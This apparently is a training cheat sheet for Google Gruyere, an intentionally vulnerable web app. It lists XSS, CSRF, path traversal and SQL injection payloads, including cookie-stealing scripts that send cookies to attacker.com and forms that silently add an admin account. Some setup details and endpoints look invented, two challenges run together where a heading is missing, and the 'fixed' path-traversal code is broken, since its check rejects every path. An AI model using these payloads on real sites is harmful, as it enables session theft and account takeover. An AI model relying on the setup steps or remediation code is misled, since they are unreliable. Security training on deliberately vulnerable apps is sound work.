Skip to content

Google Gruyere

Google Gruyere is a simple, intentionally vulnerable web application developed by Google for security training. It demonstrates XSS, XSRF (CSRF), and path traversal vulnerabilities with hands-on codelab exercises.

Overview and Setup

Access Online

# Google hosts the codelab online
# No installation required for playing challenges

# Access via Google Codelabs
# https://google-gruyere.appspot.com/

# Alternative: Create your own instance
# Follow the codelab instructions

Local Docker Installation

# Pull and run locally
docker pull gcr.io/google-gruyere/gruyere:latest

# Run container
docker run -d -p 8080:8080 gcr.io/google-gruyere/gruyere:latest

# Access at http://localhost:8080

From Source Code

# Clone the repository
git clone https://github.com/google/gruyere.git
cd gruyere

# Requirements: Python 3.7+
# Install dependencies
pip install -r requirements.txt

# Start the application
python gruyere.py

# Access at http://localhost:8080

Application Features

Wall/Chat System

# Create account or login
# Gruyere simulates a simple social network

# "Wall" displays posts from users
# Can post messages for other users to see
# Posts visible to all users in the system

User Profile

# Edit profile information
# Upload profile picture
# Set user preferences
# Update personal data

Administrative Functions

# If you gain admin access:
# View all user accounts
# Access system logs
# Manage system settings
# View private information

Vulnerability Categories

Cross-Site Scripting (XSS)

TypeDifficultyImpact
Reflected XSS*Session hijacking
Stored XSS**Persistent malware
DOM XSS**Client-side code execution

XSS Exploitation Examples

# 1. Reflected XSS in search box
# Try: <script>alert('XSS')</script>

# 2. Stored XSS in profile field
# Edit profile with: <img src=x onerror="alert('XSS')">
# XSS triggers when anyone views profile

# 3. Post XSS on wall
# Post message: <script>alert('Wall XSS')</script>
# Executes when others view the wall

# 4. Cookie stealing payload
<script>
fetch('http://attacker.com/steal?c='+document.cookie);
</script>

# 5. Event handler XSS
<body onload="alert('XSS')">
<input autofocus onfocus="alert('XSS')">

# 6. Image-based XSS
<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

# 7. SVG-based XSS
<svg onload="alert('XSS')">

# 8. HTML5 attribute XSS
<input autofocus onfocus="eval(atob('YWxlcnQoIkVPRicp'))">

Cross-Site Request Forgery (CSRF/XSRF)

CSRF Exploitation

# 1. CSRF via form submission
<form action="http://gruyere/editprofile" method="POST">
  <input type="hidden" name="name" value="Hacked">
  <input type="hidden" name="bio" value="Account compromised">
  <input type="submit" value="Click here">
</form>

# 2. Image-based CSRF
<img src="http://gruyere/editprofile?name=Hacked&bio=Pwned" width=1 height=1>

# 3. CSRF with fetch
<script>
fetch('http://gruyere/editprofile', {
  method: 'POST',
  body: new FormData(document.querySelector('form')),
  credentials: 'include'
});
</script>

# 4. Change password CSRF
<form action="http://gruyere/changepassword" method="POST">
  <input type="hidden" name="password" value="newpassword">
  <input type="submit">
</form>

# 5. Delete account CSRF
<form action="http://gruyere/deleteaccount" method="POST">
  <input type="submit">
</form>

# 6. Add admin user CSRF
<form action="http://gruyere/admin/adduser" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="role" value="admin">
  <input type="submit">
</form>

Path Traversal

Path Traversal Exploitation

# 1. Traverse directory structure
# /guestbook? [Try traversal]
# Try: ../../etc/passwd

# 2. Access user files
# /download?file=../user/target/privatedata.txt
# /download?file=.../.../.../.../etc/passwd

# 3. Null byte bypass (older versions)
# /download?file=../../../etc/passwd%00.txt

# 4. Double encoding bypass
# /download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

# 5. Unicode encoding
# /download?file=..%c0%af..%c0%afetc%c0%afpasswd

# 6. Case variation
# /download?file=..\..\..\..\etc\passwd

# 7. Backslash bypass (Windows)
# /download?file=..\..\..\windows\system32\config\sam

Common Challenges

Challenge 1: Greet the World (XSS)

# Objective: Find and exploit XSS vulnerability

# Look for input fields that don't sanitize output
# Guestbook or profile sections likely vulnerable

# Test payload:
<script>alert('Greetings')</script>

# The page should display your alert
# Indicates successful stored XSS
# Objective: Extract admin's session cookie

# Create payload that sends cookies to server:
<script>
var cookie = document.cookie;
var img = new Image();
img.src = 'http://attacker.com/steal.php?c=' + cookie;
</script>

# Post on wall or in shared area
# Admin visits page and cookie is exfiltrated

Challenge 3: Expose Admin (XSRF)

# Objective: Make admin perform unintended action

# Create CSRF form that adds you as admin:
<form id="csrf" action="http://gruyere/admin/adduser" method="POST">
  <input type="hidden" name="username" value="yourname">
  <input type="hidden" name="role" value="admin">
</form>

<script>
document.getElementById('csrf').submit();
</script>

# When admin visits this page, form auto-submits
# You gain admin privileges

Challenge 4: Access Private User Data (Path Traversal)

# Objective: Read files from other users or system

# Test file parameter with path traversal:
# /download?file=../users/admin/secrets.txt
# /download?file=../../config/database.txt
# /download?file=../../../etc/passwd

# Look for error messages that reveal paths
# Use trial and error to find valid paths

Challenge 5: Access Admin Panel

# Objective: Gain admin access without credentials

# Method 1: SQL Injection in login (if available)
# Username: ' OR '1'='1' --
# Password: anything

# Method 2: Session hijacking
# Extract admin's session cookie
# Import into browser

# Method 3: Path traversal
# Access admin panel directly:
# /admin
# /admin/index.html
# /admin/panel.php

# Method 4: CSRF to add yourself as admin
# See Challenge 3 above

Manual Testing Workflow

Step 1: Reconnaissance

# 1. View page source (Ctrl+U)
# Look for hidden fields, comments, scripts

# 2. Check HTTP headers
# Examine Set-Cookie, X-* headers

# 3. Identify input fields
# Profile sections, post areas, file upload

# 4. Map application structure
# Click all links and buttons
# Note parameter names and values

Step 2: Input Validation Testing

# 1. Test XSS vectors
<script>alert(1)</script>
<img src=x onerror="alert(1)">
<svg onload="alert(1)">
<body onload="alert(1)">

# 2. Test CSRF
# Craft forms that auto-submit
# Test form submission from different origin

# 3. Test path traversal
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd

Step 3: Exploit and Verify

# 1. Inject payload
# Submit form or parameter with payload

# 2. Observe behavior
# Does alert trigger?
# Does page reflect input?
# Does functionality change?

# 3. Document findings
# Take screenshots
# Note exact payload used
# Document impact

Burp Suite Integration

Configure for Gruyere

# 1. Start Burp Suite
# 2. Configure browser proxy: localhost:8080
# 3. Navigate to Gruyere application
# 4. Intercept traffic in Burp

# 5. Use Intruder for:
# Brute forcing parameters
# Testing multiple payloads
# Discovering hidden parameters

# 6. Use Repeater for:
# Testing modified requests
# Crafting specific payloads
# Verifying exploits

Browser DevTools Techniques

Console Exploitation

# Open DevTools (F12) > Console
# Execute JavaScript directly

# Steal and send cookies:
fetch('http://attacker.com/steal?c='+document.cookie);

# List all cookies:
document.cookie

# Modify DOM:
document.body.innerHTML = "Hacked!";

# Create new requests:
fetch('/admin').then(r => r.text()).then(d => console.log(d));

Network Tab Analysis

# Monitor API calls
# Check request/response headers
# Identify authentication tokens
# Find API endpoints

# Look for:
# JWT tokens in Authorization header
# Session cookies
# CSRF tokens in responses
# Hidden API endpoints

Remediation and Secure Coding

Prevent XSS

// Vulnerable code
document.querySelector('#output').innerHTML = userInput;

// Fixed - use textContent
document.querySelector('#output').textContent = userInput;

// Or sanitize HTML
function escapeHTML(str) {
  const div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}

// Or use DOMPurify library
const clean = DOMPurify.sanitize(userInput);

Prevent CSRF

<!-- Generate CSRF token on form -->
<form method="POST" action="/editprofile">
  <input type="hidden" name="csrf_token" value="unique-token-here">
  <!-- form fields -->
</form>

<!-- Verify token on server -->
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
  die("CSRF attack detected");
}

<!-- Or use SameSite cookie attribute -->
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

Prevent Path Traversal

// Vulnerable
app.get('/download', (req, res) => {
  const file = req.query.file;
  res.download(`./files/${file}`);
});

// Fixed - validate path
app.get('/download', (req, res) => {
  const file = req.query.file;
  const safePath = path.normalize(`./files/${file}`);

  if (!safePath.startsWith('./files/')) {
    return res.status(403).send('Forbidden');
  }

  res.download(safePath);
});

Learning Resources

# Google Codelab guides
# Official write-ups for each level

# OWASP documentation
# Top 10 vulnerabilities
# Testing methodology

# Web security blogs
# Real-world vulnerability examples
# Remediation techniques

Practice Resources

# DVWA (Damn Vulnerable Web App)
# WebGoat (OWASP training)
# Juice Shop (OWASP)
# HackTheBox (CTF challenges)
# TryHackMe (Guided training)
# PortSwigger Web Security Academy

Best Practices

  • Start with simple challenges
  • Progress to complex scenarios
  • Document all findings
  • Test both attack and defense
  • Review secure coding solutions
  • Practice regularly
  • Understand root causes
  • Learn preventive measures
  • Share knowledge with others

References


Last updated: 2026-03-30